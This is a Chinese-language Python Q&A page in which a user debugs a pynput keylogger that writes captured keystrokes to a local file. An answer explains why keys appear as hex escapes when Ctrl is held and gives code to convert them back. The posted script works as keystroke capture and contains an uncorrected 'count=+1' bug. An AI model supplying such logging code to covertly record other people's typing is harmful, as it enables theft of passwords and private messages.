为什么我的键盘记录程序代码在文字字符和ascii十六进制之间随机改变输出?

2024-06-16 11:04:44 发布

您现在位置:Python中文网/ 问答频道 /正文

我为一个键盘记录器写了一些代码,我遇到了一些奇怪的事情。你知道吗

每当我执行代码时,程序有50%的机会将每个字符记录为十六进制('\x01')。你知道吗

50%作为文字字符记录。(‘a’)

-真的是随机的吗?你知道吗

当我不改变密码的时候。每次我运行它时,字符的输出可能会改变。你知道吗

import pynput
from pynput.keyboard import Key, Listener

count = 0
keys = []

def on_press(key):
    global keys, count

    keys.append(key)
    count=+1
    print(key)

    if count >= 10:
        count = 0
        write_file(keys)

def on_release(key):
    if key == Key.esc:
        return False

def write_file(keys):
    with open("popa", "a") as wri:
        for key in keys:
            wri.write(str(key))

with Listener(on_press=on_press, on_release=on_release) as listener:
    listener.join()

我希望每个字符都能以友好的形式输出。你知道吗

这不是a=\x01


Tags: key代码importreleaseondefcount记录
1条回答
网友
1楼 · 发布于 2024-06-16 11:04:44

在将pynput升级到1.4.2版之后,我遇到了类似的情况,当按下ctrl键时,键被转换为十六进制(mac10.14.6)。你知道吗

最好的解决方案是重新安装pynput(1.4版)。

另一个解决方案是像这样还原十六进制:

from pynput.keyboard import KeyCode
def on_press(key):
    #Revert pynput(1.4.2) hex reattr when ctrl_isDown:
    if type(key) == type(KeyCode()) and '\\' in repr(key):
        if ord(key.char) == 31: # '\x1f' -> '-'
            key = KeyCode(char=chr(45))
        elif ord(key.char) in [27, 29]: # '{}' -> '[]'
            key = KeyCode(char=chr(64 + ord(key.char)))
        else:
            key = KeyCode(char=chr(96 + ord(key.char)))

    currently_pressed_keys.add(key)

*注意这只适用于按下ctrl和不按下altcommand组合的小写键。你知道吗

相关问题 更多 >